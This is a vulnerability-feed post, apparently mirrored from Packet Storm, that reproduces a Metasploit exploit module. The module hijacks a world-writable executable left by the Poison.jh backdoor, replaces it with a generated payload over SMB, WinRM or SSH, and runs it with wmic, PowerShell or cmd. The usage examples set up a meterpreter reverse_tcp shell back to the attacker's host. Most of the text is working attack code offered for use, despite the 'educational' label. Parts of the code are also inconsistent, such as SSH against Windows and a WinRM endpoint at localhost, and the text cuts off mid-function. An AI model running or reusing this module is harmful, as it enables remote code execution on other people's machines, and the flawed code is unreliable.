{"id":32938,"date":"2025-12-26T11:45:41","date_gmt":"2025-12-26T11:45:41","guid":{"rendered":"http:\/\/localhost\/?p=32938"},"modified":"2025-12-26T11:45:41","modified_gmt":"2025-12-26T11:45:41","slug":"backdoorwin32poisonjh-remote-file-hijack","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32938","title":{"rendered":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-26T17:18:37&#8243;,&#8221;description&#8221;:&#8221;This code represents an educational Metasploit module concept that demonstrates how insecure file permissions created Backdoor.Win32.Poison.jh could be abused to achieve code execution. The scenario assumes that the malware drops an executable file&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-26T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-26T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213313&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Backdoor.Win32.Poison.jh Remote File Hijack Exploit                                                                         |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : System built\u2011in component. No standalone download available                                                                 |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/213264\/ \\u0026 MVID-2025-0704\\n    \\n    [+] Summary    : This code represents an educational Metasploit module concept that demonstrates how insecure file permissions created by malware (Poison.jh) \\n                     could be abused to achieve code execution.\\n                     The scenario assumes that the malware drops an executable file inside a protected Windows directory (SysWOW64) \\n    \\t\\t\\t\\t with overly permissive access rights (e.g., Everyone: Full Control). If such a misconfiguration exists, \\n    \\t\\t\\t\\t an attacker who already has valid access (credentials, SMB, WinRM, or SSH) could theoretically replace the file with a malicious payload. \\n    \\t\\t\\t\\t When the file is later executed by the system or malware itself, the attacker\u2019s code would run.\\n    \\n    [+] Key points:\\n    \\n    This is not a native Windows vulnerability.\\n    \\n    It does not work on clean or properly configured systems.\\n    \\n    It requires existing malware, write permissions, and a trigger for execution.\\n    \\n    In real-world conditions, Windows system directories are protected and prevent this attack without administrative privileges.\\n    \\t\\t\\t\\t \\n    [+] Vulnerability Overview :\\n    \\n    CWE-276: Incorrect Default Permissions\\n    \\n    Malware: Backdoor.Win32.Poison.jh\\n    \\n    Location: C:\\\\Windows\\\\SysWOW64\\\\28463\\\\YJBE.exe\\n    \\n    Flaw: File has Everyone:(ID)F (Full Control) permissions\\n    \\n    Impact: Any local user can modify\/replace the malware executable\\n    \\t\\n    Type: Backdoor Trojan (Win32\/Windows)\\n    \\n    Purpose: Grants attackers unauthorized remote access and control over the infected system.\\n    Behavior: Can execute commands, download\/upload files, steal sensitive data, and connect to C2 (Command \\u0026 Control) servers.\\n    Discovery: Part of the Backdoor.Win32.Poison family, first identified around 2009. The .jh suffix refers to a specific variant or signature used by antivirus vendors.\\n    Source: Developed by malware authors; not self-spreading, usually delivered via malicious downloads, infected executables, or phishing.\\n    Relation to Poison Ivy: Not necessarily Poison Ivy itself, but shares similar RAT functionality.\\n    Detection \\u0026 Prevention: Detected by major AV solutions like Microsoft Defender, Trend Micro, and Kaspersky. Removal requires standard AV cleanup and disconnecting from networks.\\n    Key Points: Unauthorized remote control, file manipulation, data theft, part of Poison family, Windows-targeted, identified in AV databases since ~2009.\\n    \\n    [+] PoC : \\n    \\n    [+] Module Usage Guide :\\n    \\n    Installation:\\n    \\n    # Copy to Metasploit modules directory ====\\u003e cp poison_jh_remote.rb ~\/.msf4\/modules\/exploits\/windows\/remote\/\\n    \\n    Usage Examples:\\n    \\n    1. Check if target is vulnerable:\\n    \\n    msf6 \\u003e use exploit\/windows\/remote\/poison_jh_file_hijack\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set RHOST 192.168.1.100\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set SMBUser administrator\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set SMBPass Password123\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set CHECK_ONLY true\\n    msf6 exploit(poison_jh_file_hijack) \\u003e run\\n    \\n    2. Full exploit via SMB:\\n    \\n    msf6 \\u003e use exploit\/windows\/remote\/poison_jh_file_hijack\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set RHOST 192.168.1.100\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set SMBUser administrator\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set SMBPass Password123\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set PROTOCOL SMB\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set PAYLOAD windows\/x64\/meterpreter\/reverse_tcp\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set LHOST 192.168.1.50\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set LPORT 4444\\n    msf6 exploit(poison_jh_file_hijack) \\u003e exploit\\n    \\n    3. Exploit via WinRM:\\n    \\n    msf6 exploit(poison_jh_file_hijack) \\u003e set PROTOCOL WinRM\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set WINRM_USER admin\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set WINRM_PASS Password123\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set RPORT 5985\\n    msf6 exploit(poison_jh_file_hijack) \\u003e exploit\\n    \\n    4. Exploit via SSH:\\n    \\n    msf6 exploit(poison_jh_file_hijack) \\u003e set PROTOCOL SSH\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set SMBUser root  # SSH username\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set SMBPass password123  # SSH password\\n    msf6 exploit(poison_jh_file_hijack) \\u003e set RPORT 22\\n    msf6 exploit(poison_jh_file_hijack) \\u003e exploit\\n    \\n    ##\\n    # Module: exploit\/windows\/remote\/poison_jh_file_hijack\\n    # Title: Poison.jh Remote File Hijack Exploit\\n    # Description: Exploits Poison.jh malware&#8217;s insecure file permissions remotely\\n    ##\\n    \\n    require &#8216;msf\/core&#8217;\\n    require &#8216;rex&#8217;\\n    require &#8216;net\/ssh&#8217;\\n    require &#8216;net\/smtp&#8217;\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::SMB::Client\\n      include Msf::Exploit::Remote::WinRM\\n      include Msf::Exploit::Remote::Tcp\\n      include Msf::Exploit::EXE\\n      include Msf::Auxiliary::Report\\n    \\n      def initialize(info = {})\\n        super(update_info(info,\\n          &#8216;Name&#8217;           =\\u003e &#8216;Poison.jh Remote File Permission Hijack&#8217;,\\n          &#8216;Description&#8217;    =\\u003e %q{\\n            This module exploits the insecure file permissions of the Backdoor.Win32.Poison.jh\\n            malware to achieve remote code execution. The malware creates a world-writable\\n            executable at C:\\\\Windows\\\\SysWOW64\\\\28463\\\\YJBE.exe, allowing remote attackers to\\n            replace the file and execute arbitrary code.\\n            \\n            This module requires network access to the target and valid credentials.\\n          },\\n          &#8216;Author&#8217;         =\\u003e [\\n            &#8216;indoushka&#8217;,\\n            &#8216;Based on Malvuln advisory MVID-2025-0704&#8217;\\n          ],\\n          &#8216;License&#8217;        =\\u003e MSF_LICENSE,\\n          &#8216;References&#8217;     =\\u003e [\\n            [&#8216;URL&#8217;, &#8216;https:\/\/malvuln.com\/advisory\/3d9821cbe836572410b3c5485a7f76ca.txt&#8217;],\\n            [&#8216;CWE&#8217;, &#8216;276&#8217;],\\n            [&#8216;MVID&#8217;, &#8216;MVID-2025-0704&#8217;]\\n          ],\\n          &#8216;Platform&#8217;       =\\u003e &#8216;win&#8217;,\\n          &#8216;Arch&#8217;           =\\u003e [ARCH_X86, ARCH_X64],\\n          &#8216;Payload&#8217;        =\\u003e {\\n            &#8216;Space&#8217;       =\\u003e 2048,\\n            &#8216;DisableNops&#8217; =\\u003e true\\n          },\\n          &#8216;Targets&#8217;        =\\u003e [\\n            [&#8216;Windows (via SMB)&#8217;, {}],\\n            [&#8216;Windows (via WinRM)&#8217;, {}],\\n            [&#8216;Windows (via RDP)&#8217;, {}]\\n          ],\\n          &#8216;DefaultTarget&#8217;  =\\u003e 0,\\n          &#8216;Privileged&#8217;     =\\u003e false,\\n          &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-12-23&#8217;\\n        ))\\n    \\n        register_options([\\n          OptString.new(&#8216;RHOST&#8217;, [true, &#8216;The target address&#8217;]),\\n          OptString.new(&#8216;RPORT&#8217;, [false, &#8216;The target port&#8217;, 445]),\\n          OptString.new(&#8216;SMBUser&#8217;, [false, &#8216;SMB Username&#8217;]),\\n          OptString.new(&#8216;SMBPass&#8217;, [false, &#8216;SMB Password&#8217;]),\\n          OptString.new(&#8216;SMBDomain&#8217;, [false, &#8216;SMB Domain&#8217;]),\\n          OptString.new(&#8216;TARGET_PATH&#8217;, [\\n            true,\\n            &#8216;Path to vulnerable Poison.jh executable&#8217;,\\n            &#8216;C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\28463\\\\\\\\YJBE.exe&#8217;\\n          ]),\\n          OptEnum.new(&#8216;PROTOCOL&#8217;, [\\n            true,\\n            &#8216;Protocol to use for exploitation&#8217;,\\n            &#8216;SMB&#8217;,\\n            [&#8216;SMB&#8217;, &#8216;WinRM&#8217;, &#8216;RDP&#8217;, &#8216;SSH&#8217;]\\n          ]),\\n          OptBool.new(&#8216;CHECK_ONLY&#8217;, [\\n            true,\\n            &#8216;Only check if target is vulnerable&#8217;,\\n            false\\n          ]),\\n          OptString.new(&#8216;WINRM_USER&#8217;, [false, &#8216;WinRM username&#8217;]),\\n          OptString.new(&#8216;WINRM_PASS&#8217;, [false, &#8216;WinRM password&#8217;]),\\n          OptInt.new(&#8216;CHECK_TIMEOUT&#8217;, [true, &#8216;Timeout for checking vulnerability&#8217;, 30])\\n        ])\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Check if target is vulnerable\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def check\\n        print_status(\\&#8221;Checking if #{rhost} is vulnerable to Poison.jh file hijack&#8230;\\&#8221;)\\n        \\n        case datastore[&#8216;PROTOCOL&#8217;]\\n        when &#8216;SMB&#8217;\\n          return check_via_smb\\n        when &#8216;WinRM&#8217;\\n          return check_via_winrm\\n        when &#8216;SSH&#8217;\\n          return check_via_ssh\\n        else\\n          return Exploit::CheckCode::Unknown(\\&#8221;Unsupported protocol: #{datastore[&#8216;PROTOCOL&#8217;]}\\&#8221;)\\n        end\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # SMB-based vulnerability check\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def check_via_smb\\n        begin\\n          connect_smb\\n          \\n          # Try to access the vulnerable path\\n          target_path = datastore[&#8216;TARGET_PATH&#8217;]\\n          share, path = split_unc_path(target_path)\\n          \\n          print_status(\\&#8221;Attempting to connect to share: #{share}\\&#8221;)\\n          \\n          begin\\n            smb_login\\n            \\n            # Try to open file for writing\\n            file = smb_open(path, &#8216;rwct&#8217;)\\n            \\n            if file\\n              print_good(\\&#8221;File is writable via SMB: #{target_path}\\&#8221;)\\n              file.close\\n              disconnect_smb\\n              return Exploit::CheckCode::Vulnerable(\\&#8221;File is world-writable via SMB\\&#8221;)\\n            end\\n          rescue ::Rex::Proto::SMB::Exceptions::ErrorCode =\\u003e e\\n            print_status(\\&#8221;Cannot write to file: #{e}\\&#8221;)\\n          end\\n          \\n          disconnect_smb\\n          \\n        rescue ::Rex::ConnectionError =\\u003e e\\n          print_error(\\&#8221;Connection failed: #{e}\\&#8221;)\\n          return Exploit::CheckCode::Unknown(\\&#8221;Connection failed\\&#8221;)\\n        rescue ::Exception =\\u003e e\\n          print_error(\\&#8221;Check failed: #{e}\\&#8221;)\\n          return Exploit::CheckCode::Unknown(\\&#8221;Check failed: #{e}\\&#8221;)\\n        end\\n        \\n        Exploit::CheckCode::Safe(\\&#8221;File not writable via SMB\\&#8221;)\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # WinRM-based vulnerability check\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def check_via_winrm\\n        begin\\n          print_status(\\&#8221;Checking via WinRM&#8230;\\&#8221;)\\n          \\n          # Execute PowerShell command to check file permissions\\n          cmd = \\&#8221;Get-Acl &#8216;#{datastore[&#8216;TARGET_PATH&#8217;]}&#8217; | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -match &#8216;Everyone&#8217; -and $_.FileSystemRights -match &#8216;FullControl&#8217;}\\&#8221;\\n          \\n          result = winrm_execute(cmd)\\n          \\n          if result \\u0026\\u0026 result.include?(&#8216;Everyone&#8217;)\\n            print_good(\\&#8221;File has Everyone:FullControl permissions\\&#8221;)\\n            return Exploit::CheckCode::Vulnerable(\\&#8221;File permissions allow write access\\&#8221;)\\n          end\\n          \\n        rescue ::Exception =\\u003e e\\n          print_error(\\&#8221;WinRM check failed: #{e}\\&#8221;)\\n          return Exploit::CheckCode::Unknown(\\&#8221;WinRM check failed: #{e}\\&#8221;)\\n        end\\n        \\n        Exploit::CheckCode::Safe(\\&#8221;File not writable via WinRM\\&#8221;)\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # SSH-based vulnerability check\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def check_via_ssh\\n        begin\\n          print_status(\\&#8221;Checking via SSH&#8230;\\&#8221;)\\n          \\n          # Check if file exists and is writable\\n          cmd = \\&#8221;test -w &#8216;#{datastore[&#8216;TARGET_PATH&#8217;]}&#8217; \\u0026\\u0026 echo &#8216;WRITABLE&#8217; || echo &#8216;NOT_WRITABLE&#8217;\\&#8221;\\n          \\n          result = ssh_exec(cmd)\\n          \\n          if result \\u0026\\u0026 result.include?(&#8216;WRITABLE&#8217;)\\n            print_good(\\&#8221;File is writable via SSH\\&#8221;)\\n            return Exploit::CheckCode::Vulnerable(\\&#8221;File is writable via SSH\\&#8221;)\\n          end\\n          \\n        rescue ::Exception =\\u003e e\\n          print_error(\\&#8221;SSH check failed: #{e}\\&#8221;)\\n          return Exploit::CheckCode::Unknown(\\&#8221;SSH check failed: #{e}\\&#8221;)\\n        end\\n        \\n        Exploit::CheckCode::Safe(\\&#8221;File not writable via SSH\\&#8221;)\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Main exploit function\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def exploit\\n        print_status(\\&#8221;Starting exploit against #{rhost}&#8230;\\&#8221;)\\n        \\n        # Check if target is vulnerable\\n        case check\\n        when Exploit::CheckCode::Vulnerable\\n          print_good(\\&#8221;Target is vulnerable!\\&#8221;)\\n        else\\n          fail_with(Failure::NotVulnerable, \\&#8221;Target is not vulnerable\\&#8221;)\\n        end\\n        \\n        # Generate payload\\n        print_status(\\&#8221;Generating payload&#8230;\\&#8221;)\\n        payload_exe = generate_payload_exe\\n        \\n        # Upload and replace file based on protocol\\n        case datastore[&#8216;PROTOCOL&#8217;]\\n        when &#8216;SMB&#8217;\\n          exploit_via_smb(payload_exe)\\n        when &#8216;WinRM&#8217;\\n          exploit_via_winrm(payload_exe)\\n        when &#8216;SSH&#8217;\\n          exploit_via_ssh(payload_exe)\\n        when &#8216;RDP&#8217;\\n          exploit_via_rdp(payload_exe)\\n        end\\n        \\n        # Trigger execution\\n        trigger_payload\\n        \\n        # Report\\n        report_vuln({\\n          host: rhost,\\n          name: self.name,\\n          refs: self.references,\\n          info: \\&#8221;Poison.jh file hijack exploited\\&#8221;\\n        })\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Exploit via SMB\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def exploit_via_smb(payload_exe)\\n        print_status(\\&#8221;Exploiting via SMB&#8230;\\&#8221;)\\n        \\n        begin\\n          connect_smb\\n          smb_login\\n          \\n          target_path = datastore[&#8216;TARGET_PATH&#8217;]\\n          share, path = split_unc_path(target_path)\\n          \\n          # Backup original file\\n          backup_path = path + \\&#8221;.backup\\&#8221;\\n          begin\\n            smb_rename(path, backup_path)\\n            print_status(\\&#8221;Backed up original file to: #{backup_path}\\&#8221;)\\n          rescue\\n            print_warning(\\&#8221;Could not backup original file\\&#8221;)\\n          end\\n          \\n          # Upload payload\\n          print_status(\\&#8221;Uploading payload to #{target_path}&#8230;\\&#8221;)\\n          file = smb_create(path)\\n          file.write(payload_exe)\\n          file.close\\n          \\n          print_good(\\&#8221;Payload uploaded successfully!\\&#8221;)\\n          \\n        rescue ::Exception =\\u003e e\\n          print_error(\\&#8221;SMB exploit failed: #{e}\\&#8221;)\\n          fail_with(Failure::Unknown, \\&#8221;SMB upload failed\\&#8221;)\\n        ensure\\n          disconnect_smb\\n        end\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Exploit via WinRM\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def exploit_via_winrm(payload_exe)\\n        print_status(\\&#8221;Exploiting via WinRM&#8230;\\&#8221;)\\n        \\n        # Convert payload to base64 for PowerShell\\n        payload_b64 = Rex::Text.encode_base64(payload_exe)\\n        \\n        # PowerShell script to replace file\\n        ps_script = \\u003c\\u003c~PS\\n          $TargetPath = &#8216;#{datastore[&#8216;TARGET_PATH&#8217;]}&#8217;\\n          $BackupPath = $TargetPath + &#8216;.backup&#8217;\\n          $PayloadBytes = [System.Convert]::FromBase64String(&#8216;#{payload_b64}&#8217;)\\n          \\n          # Backup original\\n          if (Test-Path $TargetPath) {\\n            Copy-Item $TargetPath $BackupPath -Force\\n            Write-Host \\&#8221;Backed up to: $BackupPath\\&#8221;\\n          }\\n          \\n          # Write payload\\n          [System.IO.File]::WriteAllBytes($TargetPath, $PayloadBytes)\\n          Write-Host \\&#8221;Payload written to: $TargetPath\\&#8221;\\n          \\n          # Set execution attributes if needed\\n          attrib -r $TargetPath\\n        PS\\n        \\n        result = winrm_execute_ps(ps_script)\\n        \\n        if result \\u0026\\u0026 result.include?(&#8216;Payload written&#8217;)\\n          print_good(\\&#8221;Payload uploaded via WinRM\\&#8221;)\\n        else\\n          fail_with(Failure::Unknown, \\&#8221;WinRM upload failed\\&#8221;)\\n        end\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Exploit via SSH\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def exploit_via_ssh(payload_exe)\\n        print_status(\\&#8221;Exploiting via SSH&#8230;\\&#8221;)\\n        \\n        # Save payload locally first\\n        local_path = \\&#8221;\/tmp\/payload_#{Rex::Text.rand_text_alpha(8)}.exe\\&#8221;\\n        File.binwrite(local_path, payload_exe)\\n        \\n        # SSH commands\\n        target_path = datastore[&#8216;TARGET_PATH&#8217;]\\n        backup_path = target_path + \\&#8221;.backup\\&#8221;\\n        \\n        ssh_cmds = [\\n          \\&#8221;cp #{target_path} #{backup_path} 2\\u003e\/dev\/null || true\\&#8221;,\\n          \\&#8221;echo &#8216;Backup created: #{backup_path}&#8217;\\&#8221;,\\n          \\&#8221;cat \\u003e #{target_path} \\u003c\\u003c &#8216;EOF&#8217;\\&#8221;,\\n          payload_exe.force_encoding(&#8216;UTF-8&#8217;),\\n          \\&#8221;EOF\\&#8221;,\\n          \\&#8221;chmod +x #{target_path}\\&#8221;,\\n          \\&#8221;echo &#8216;Payload uploaded to #{target_path}&#8217;\\&#8221;\\n        ]\\n        \\n        result = ssh_exec(ssh_cmds.join(&#8216;; &#8216;))\\n        \\n        if result \\u0026\\u0026 result.include?(&#8216;Payload uploaded&#8217;)\\n          print_good(\\&#8221;Payload uploaded via SSH\\&#8221;)\\n        else\\n          fail_with(Failure::Unknown, \\&#8221;SSH upload failed\\&#8221;)\\n        end\\n        \\n        # Clean up local file\\n        File.delete(local_path) if File.exist?(local_path)\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Trigger payload execution\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def trigger_payload\\n        print_status(\\&#8221;Attempting to trigger payload execution&#8230;\\&#8221;)\\n        \\n        trigger_commands = [\\n          # WMI\\n          \\&#8221;wmic process call create &#8216;#{datastore[&#8216;TARGET_PATH&#8217;]}&#8217;\\&#8221;,\\n          \\n          # PowerShell\\n          \\&#8221;powershell -c Start-Process &#8216;#{datastore[&#8216;TARGET_PATH&#8217;]}&#8217;\\&#8221;,\\n          \\n          # CMD\\n          \\&#8221;cmd \/c start &#8216;#{datastore[&#8216;TARGET_PATH&#8217;]}&#8217;\\&#8221;,\\n          \\n          # Direct execution\\n          datastore[&#8216;TARGET_PATH&#8217;]\\n        ]\\n        \\n        trigger_commands.each do |cmd|\\n          begin\\n            case datastore[&#8216;PROTOCOL&#8217;]\\n            when &#8216;WinRM&#8217;\\n              result = winrm_execute(cmd)\\n              if result\\n                print_good(\\&#8221;Payload triggered via: #{cmd}\\&#8221;)\\n                break\\n              end\\n            when &#8216;SSH&#8217;\\n              result = ssh_exec(cmd)\\n              if result\\n                print_good(\\&#8221;Payload triggered via: #{cmd}\\&#8221;)\\n                break\\n              end\\n            end\\n          rescue\\n            next\\n          end\\n        end\\n        \\n        print_status(\\&#8221;Waiting for payload to execute&#8230;\\&#8221;)\\n        Rex.sleep(10)\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Helper: Split UNC path to share and path\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def split_unc_path(full_path)\\n        # Convert C:\\\\path\\\\to\\\\file to \\\\\\\\server\\\\share\\\\path\\\\to\\\\file\\n        if full_path =~ \/^([A-Za-z]):\\\\\\\\(.*)$\/\\n          drive = $1\\n          path = $2\\n          share = \\&#8221;#{drive}$\\&#8221;\\n          return share, path\\n        end\\n        return nil, full_path\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Helper: Execute WinRM command\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def winrm_execute(cmd)\\n        return unless datastore[&#8216;WINRM_USER&#8217;] \\u0026\\u0026 datastore[&#8216;WINRM_PASS&#8217;]\\n        \\n        begin\\n          opts = {\\n            host: rhost,\\n            port: datastore[&#8216;RPORT&#8217;] || 5985,\\n            user: datastore[&#8216;WINRM_USER&#8217;],\\n            pass: datastore[&#8216;WINRM_PASS&#8217;],\\n            transport: :negotiate,\\n            ssl: false,\\n            endpoint: &#8216;http:\/\/localhost:5985\/wsman&#8217;\\n          }\\n          \\n          winrm = Net::WinRM::Connection.new(opts)\\n          winrm.shell(:powershell) do |shell|\\n            output = shell.run(cmd) do |stdout, stderr|\\n              return stdout if stdout\\n            end\\n          end\\n        rescue =\\u003e e\\n          print_error(\\&#8221;WinRM execute failed: #{e}\\&#8221;)\\n          nil\\n        end\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Helper: Execute PowerShell via WinRM\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def winrm_execute_ps(ps_script)\\n        winrm_execute(\\&#8221;powershell -encodedcommand #{Rex::Text.encode_base64(ps_script)}\\&#8221;)\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Helper: Execute SSH command\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def ssh_exec(cmd)\\n        return unless datastore[&#8216;SMBUser&#8217;] \\u0026\\u0026 datastore[&#8216;SMBPass&#8217;]\\n        \\n        begin\\n          ssh = Net::SSH.start(\\n            rhost,\\n            datastore[&#8216;SMBUser&#8217;],\\n            password: datastore[&#8216;SMBPass&#8217;],\\n            port: datastore[&#8216;RPORT&#8217;] || 22,\\n            timeout: 30\\n          )\\n          \\n          result = \\&#8221;\\&#8221;\\n          ssh.exec!(cmd) do |channel, stream, data|\\n            result \\u003c\\u003c data if stream == :stdout\\n          end\\n          \\n          ssh.close\\n          result\\n        rescue =\\u003e e\\n          print_error(\\&#8221;SSH execute failed: #{e}\\&#8221;)\\n          nil\\n        end\\n      end\\n    \\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      # Helper: Connect to SMB\\n      # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      def connect_smb\\n        self.simple = ::Rex::Proto::SMB::SimpleClient.new(\\n          address, \\n          port: datastore[&#8216;RPORT&#8217;] || 445,\\n          username: datastore[&#8216;SMBUser&#8217;],\\n          password: datastore[&#8216;SMBPass&#8217;],\\n          domain: datastore[&#8216;SMBDomain&#8217;]\\n        )\\n        \\n        self.simple.connect\\n      end\\n    \\n      def disconnect_smb\\n        self.simple.close if self.simple\\n      end\\n    \\n      def smb_login\\n        self.simple.login\\n      end\\n    \\n      def smb_open(path, 